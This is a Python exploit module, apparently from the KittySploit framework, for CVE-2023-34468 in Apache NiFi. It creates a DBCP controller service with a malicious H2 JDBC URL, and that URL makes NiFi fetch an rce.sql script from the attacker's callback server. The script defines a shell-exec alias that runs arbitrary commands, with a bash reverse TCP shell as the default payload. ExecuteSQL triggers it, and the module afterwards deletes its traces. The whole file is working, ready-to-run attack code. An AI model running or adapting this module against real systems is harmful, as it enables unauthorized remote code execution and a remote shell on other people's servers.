Apache NiFi H2 JDBC RCE (CVE-2023-34468)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache NiFi H2 JDBC RCE (CVE-2023-34468) via DBCPConnectionPool + ExecuteSQL."""

from __future__ import annotations

import json
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_server import Http_server
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client, Http_server):
    __info__ = {
        'name': 'Apache NiFi H2 JDBC RCE (CVE-2023-34468)',
        'description': (
            'Exploits CVE-2023-34468 by creating a DBCPConnectionPool controller service '
            'with a malicious H2 JDBC URL (INIT=RUNSCRIPT FROM attacker), enabling it, '
            'and triggering ExecuteSQL. Affected NiFi 0.0.2 through 1.21.0. Requires '
            'permission to create controller services (often unauthenticated).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2023-34468'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-34468',
            'https://github.com/advisories/GHSA-xm2m-2q6h-22jw',
        ],
        'tags': [
            'nifi', 'apache', 'h2', 'jdbc', 'dbcp', 'rce', 'cve-2023-34468',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 10,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['nifi', 'apache'],
                'endpoint_pattern_any': ['/nifi-api/process-groups/root'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'H2 RUNSCRIPT via DBCP'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': [
                    'scanner/http/cve_2023_34468_detect',
                    'scanner/http/apache_nifi_unauth_detect',
                ],
            },
        },
    }

    port = OptPort(8080, 'NiFi HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    bearer_token = OptString('', 'Bearer token (if login required)', False, advanced=True)
    username = OptString('', 'Username when login is required', False, advanced=True)
    password = OptString('', 'Password when login is required', False, advanced=True)
    callback_host = OptString(
        '',
        'Host/IP reachable by NiFi for RUNSCRIPT (defaults to lhost)',
        False,
        advanced=True,
    )
    srvport = OptPort(8888, 'Local HTTP port serving rce.sql', True)
    cleanup = OptBool(True, 'Delete controller service and processor after exploit', False, advanced=True)
    processor_delay = OptInteger(
        8,
        'Seconds to wait after starting ExecuteSQL processor',
        False,
        advanced=True,
    )
    shell = OptChoice(
        'unix',
        'Shell wrapper for SHELLEXEC alias',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    _DBCP = 'org.apache.nifi.dbcp.DBCPConnectionPool'
    _EXECUTE_SQL = 'org.apache.nifi.processors.standard.ExecuteSQL'
    _RCE_PATH = '/rce.sql'

    def _api(self, *parts: str) -> str:
        base = (self.path or '/').rstrip('/')
        suffix = '/'.join(p.strip('/') for p in parts if p)
        return f'{base}/{suffix}' if base else f'/{suffix}'

    def _headers(self, token: str | None = None) -> dict:
        headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
        tok = str(token or self.bearer_token or '').strip()
        if tok:
            headers['Authorization'] = f'Bearer {tok}'
        return headers

    def _json_request(self, method: str, path: str, body: dict | None = None, token: str | None = None):
        kwargs = {
            'method': method,
            'path': path,
            'headers': self._headers(token),
            'allow_redirects': False,
        }
        if body is not None:
            kwargs['data'] = json.dumps(body)
        return self.http_request(**kwargs)

    def _supports_login(self) -> bool | None:
        r = self.http_request(
            method='GET',
            path=self._api('nifi-api', 'access', 'config'),
            allow_redirects=False,
        )
        if not r:
            return None
        data, _err = parse_json_response(r)
        if not isinstance(data, dict):
            return None
        return bool(data.get('supportsLogin'))

    def _login_token(self) -> str | None:
        manual = str(self.bearer_token or '').strip()
        if manual:
            return manual
        user = str(self.username or '').strip()
        pwd = str(self.password or '').strip()
        if not user or not pwd:
            return None
        r = self.http_request(
            method='POST',
            path=self._api('nifi-api', 'access', 'token'),
            data={'username': user, 'password': pwd},
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 201:
            return None
        return (r.text or '').strip() or None

    def _root_process_group(self, token: str | None) -> str | None:
        for path in (
            self._api('nifi-api', 'flow', 'process-groups', 'root'),
            self._api('nifi-api', 'process-groups', 'root'),
        ):
            r = self.http_request(
                method='GET',
                path=path,
                headers=self._headers(token),
                allow_redirects=False,
            )
            if not r or int(r.status_code or 0) != 200:
                continue
            data, _err = parse_json_response(r)
            if not isinstance(data, dict):
                continue
            comp = data.get('processGroupFlow', {}).get('component') or data.get('component') or {}
            pg_id = comp.get('id')
            if pg_id:
                return str(pg_id)
        return None

    def _nifi_version(self, token: str | None) -> str | None:
        r = self.http_request(
            method='GET',
            path=self._api('nifi-api', 'flow', 'about'),
            headers=self._headers(token),
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        data, _err = parse_json_response(r)
        if not isinstance(data, dict):
            return None
        about = data.get('about') or {}
        version = about.get('version')
        return str(version).strip() if version else None

    @staticmethod
    def _version_vulnerable(version: str) -> bool | None:
        parts = version.split('.')
        if len(parts) < 2:
            return None
        try:
            major, minor = int(parts[0]), int(parts[1])
            patch = int(parts[2]) if len(parts) > 2 else 0
        except ValueError:
            return None
        if major == 0:
            return True
        if major == 1 and minor < 22:
            return True
        if major == 1 and minor == 22 and patch == 0:
            return False
        return False

    def _resolve_callback_host(self) -> str:
        manual = str(self.callback_host or '').strip()
        if manual:
            return manual
        lhost = str(getattr(self, 'lhost', '') or '').strip()
        if lhost:
            return lhost
        srvhost = str(self.srvhost or '0.0.0.0').strip()
        if srvhost and srvhost not in ('0.0.0.0', '::'):
            return srvhost
        raise ValueError('Set callback_host or lhost to an address reachable by NiFi')

    def _rce_sql(self, cmd: str) -> str:
        escaped = str(cmd).replace("'", "''")
        if self.shell == 'windows':
            body = (
                'CREATE ALIAS SHELLEXEC AS $$\n'
                'void shellexec(String c) throws java.lang.Exception {\n'
                '  java.lang.Runtime.getRuntime().exec(new String[] {"cmd.exe", "/c", c});\n'
                '}\n'
                '$$;\n'
            )
        else:
            body = (
                'CREATE ALIAS SHELLEXEC AS $$\n'
                'void shellexec(String c) throws java.lang.Exception {\n'
                '  java.lang.Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", c});\n'
                '}\n'
                '$$;\n'
            )
        return body + f"CALL SHELLEXEC('{escaped}');\n"

    def _start_rce_server(self, sql_body: str):
        payload = sql_body.encode()

        def do_get(handler):
            if handler.path.rstrip('/') == Module._RCE_PATH.rstrip('/'):
                print_success(f'NiFi fetched rce.sql from {handler.client_address[0]}')
                handler.send_response(200)
                handler.send_header('Content-Type', 'application/sql')
                handler.send_header('Content-Length', str(len(payload)))
                handler.end_headers()
                handler.wfile.write(payload)
                return
            handler.send_response(404)
            handler.end_headers()

        if not self.srvhost or str(self.srvhost or '').strip() == '':
            self.srvhost = '0.0.0.0'
        return self.listen_http({'GET': do_get}, forever=True, background=True)

    def _create_dbcp(self, token: str | None, group_id: str, jdbc_url: str) -> tuple[str, int] | None:
        body = {
            'revision': {'version': 0},
            'component': {
                'type': self._DBCP,
                'name': self.random_text(8),
                'properties': {
                    'Database Connection URL': jdbc_url,
                    'Database Driver Class Name': 'org.h2.Driver',
                    'Database User': 'sa',
                },
            },
        }
        r = self._json_request(
            'POST',
            self._api('nifi-api', 'process-groups', group_id, 'controller-services'),
            body,
            token,
        )
        if not r or int(r.status_code or 0) not in (200, 201):
            return None
        data, _err = parse_json_response(r)
        if not isinstance(data, dict):
            return None
        comp = data.get('component') or {}
        cs_id = comp.get('id')
        version = (data.get('revision') or {}).get('version', 1)
        if not cs_id:
            return None
        return str(cs_id), int(version)

    def _set_controller_state(self, token: str | None, cs_id: str, version: int, state: str) -> int:
        body = {
            'revision': {'clientId': 'kittysploit', 'version': version},
            'component': {'id': cs_id, 'state': state},
        }
        r = self._json_request(
            'PUT',
            self._api('nifi-api', 'controller-services', cs_id),
            body,
            token,
        )
        if r and int(r.status_code or 0) == 200:
            data, _ = parse_json_response(r)
            if isinstance(data, dict):
                return int((data.get('revision') or {}).get('version', version + 1))
        return version + 1

    def _create_execute_sql(
        self, token: str | None, group_id: str, cs_id: str,
    ) -> tuple[str, int] | None:
        body = {
            'revision': {'version': 0},
            'component': {
                'type': self._EXECUTE_SQL,
                'position': {'x': 500, 'y': 200},
            },
        }
        r = self._json_request(
            'POST',
            self._api('nifi-api', 'process-groups', group_id, 'processors'),
            body,
            token,
        )
        if not r or int(r.status_code or 0) not in (200, 201):
            return None
        data, _err = parse_json_response(r)
        if not isinstance(data, dict):
            return None
        proc_id = (data.get('component') or {}).get('id')
        version = (data.get('revision') or {}).get('version', 1)
        if not proc_id:
            return None
        return str(proc_id), int(version)

    def _configure_execute_sql(
        self, token: str | None, proc_id: str, version: int, cs_id: str,
    ) -> int:
        body = {
            'revision': {'clientId': 'kittysploit', 'version': version},
            'component': {
                'id': proc_id,
                'config': {
                    'properties': {
                        'Database Connection Pooling Service': cs_id,
                        'SQL select query': 'SELECT 1',
                    },
                    'schedulingPeriod': '1 sec',
                    'autoTerminatedRelationships': ['success', 'failure'],
                },
            },
        }
        r = self._json_request(
            'PUT',
            self._api('nifi-api', 'processors', proc_id),
            body,
            token,
        )
        if r and int(r.status_code or 0) == 200:
            data, _ = parse_json_response(r)
            if isinstance(data, dict):
                return int((data.get('revision') or {}).get('version', version + 1))
        return version + 1

    def _run_processor(self, token: str | None, proc_id: str, version: int) -> bool:
        body = {
            'revision': {'clientId': 'kittysploit', 'version': version},
            'component': {'id': proc_id, 'state': 'RUNNING'},
        }
        r = self._json_request(
            'PUT',
            self._api('nifi-api', 'processors', proc_id),
            body,
            token,
        )
        return bool(r and int(r.status_code or 0) == 200)

    def _stop_processor(self, token: str | None, proc_id: str, version: int) -> int:
        body = {
            'revision': {'clientId': 'kittysploit', 'version': version},
            'component': {'id': proc_id, 'state': 'STOPPED'},
        }
        r = self._json_request(
            'PUT',
            self._api('nifi-api', 'processors', proc_id),
            body,
            token,
        )
        if r and int(r.status_code or 0) == 200:
            data, _ = parse_json_response(r)
            if isinstance(data, dict):
                return int((data.get('revision') or {}).get('version', version + 1))
        return version + 1

    def _delete_processor(self, token: str | None, proc_id: str, version: int) -> None:
        self.http_request(
            method='DELETE',
            path=self._api('nifi-api', 'processors', proc_id),
            headers=self._headers(token),
            params={'version': str(version)},
            allow_redirects=False,
        )

    def _delete_controller_service(self, token: str | None, cs_id: str, version: int) -> None:
        self.http_request(
            method='DELETE',
            path=self._api('nifi-api', 'controller-services', cs_id),
            headers=self._headers(token),
            params={'version': str(version)},
            allow_redirects=False,
        )

    def check(self):
        login_required = self._supports_login()
        if login_required is None:
            return {'vulnerable': False, 'reason': 'NiFi API unreachable', 'confidence': 'low'}
        token = None
        if login_required:
            token = self._login_token()
            if not token:
                return {
                    'vulnerable': False,
                    'reason': 'NiFi requires login but no valid credentials/token supplied',
                    'confidence': 'medium',
                }
        group = self._root_process_group(token)
        if not group:
            return {
                'vulnerable': False,
                'reason': 'Root process group not accessible',
                'confidence': 'medium',
            }
        version = self._nifi_version(token)
        if version:
            vuln = self._version_vulnerable(version)
            if vuln is False:
                return {
                    'vulnerable': False,
                    'reason': f'NiFi {version} is patched (>= 1.22.0)',
                    'confidence': 'high',
                }
            if vuln is True:
                return {
                    'vulnerable': True,
                    'reason': f'NiFi {version} allows H2 JDBC in DBCP (< 1.22.0)',
                    'confidence': 'high',
                }
        return {
            'vulnerable': True,
            'reason': 'NiFi API writable; H2 JDBC may be accepted on older builds',
            'confidence': 'medium',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload')
            return False

        print_status('Apache NiFi CVE-2023-34468 H2 JDBC RCE')
        login_required = self._supports_login()
        token = None
        if login_required:
            token = self._login_token()
            if not token:
                print_error('Authentication required — set bearer_token or username/password')
                return False
            print_info('Authenticated to NiFi API')
        else:
            print_info('NiFi API does not require login')

        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target does not appear vulnerable'))
            self.not_vulnerable()
            return False

        group_id = self._root_process_group(token)
        if not group_id:
            print_error('Could not read root process group')
            return False

        callback_host = self._resolve_callback_host()
        callback_port = int(self.srvport)
        script_url = f'http://{callback_host}:{callback_port}{self._RCE_PATH}'
        jdbc_url = (
            f'jdbc:h2:mem:{self.random_text(6)};'
            f"INIT=RUNSCRIPT FROM '{script_url}'"
        )
        sql_body = self._rce_sql(payload_cmd)

        print_status(f'Serving rce.sql on {callback_host}:{callback_port}...')
        httpd = self._start_rce_server(sql_body)

        cs_id = proc_id = None
        cs_ver = proc_ver = 0
        try:
            created = self._create_dbcp(token, group_id, jdbc_url)
            if not created:
                print_error('Failed to create DBCPConnectionPool controller service')
                return False
            cs_id, cs_ver = created
            print_success(f'Created DBCP controller service {cs_id}')

            cs_ver = self._set_controller_state(token, cs_id, cs_ver, 'ENABLED')
            print_success('Enabled DBCP controller service (H2 INIT will run on connect)')

            proc = self._create_execute_sql(token, group_id, cs_id)
            if not proc:
                print_error('Failed to create ExecuteSQL processor')
                return False
            proc_id, proc_ver = proc
            proc_ver = self._configure_execute_sql(token, proc_id, proc_ver, cs_id)
            print_success(f'Configured ExecuteSQL processor {proc_id}')

            if not self._run_processor(token, proc_id, proc_ver):
                print_error('Failed to start ExecuteSQL processor')
                return False
            print_success('ExecuteSQL started — check listener for reverse shell')

            delay = max(int(self.processor_delay or 8), 3)
            print_status(f'Waiting {delay}s for RUNSCRIPT callback...')
            time.sleep(delay)
            self.vulnerable()
            return True
        finally:
            try:
                if httpd:
                    self.web_shutdown(httpd)
            except Exception:
                pass
            if bool(self.cleanup) and cs_id and proc_id:
                proc_ver = self._stop_processor(token, proc_id, proc_ver + 1)
                self._delete_processor(token, proc_id, proc_ver)
                disabled_ver = self._set_controller_state(token, cs_id, cs_ver, 'DISABLED')
                self._delete_controller_service(token, cs_id, disabled_ver)
                print_info('NiFi artifacts cleaned up')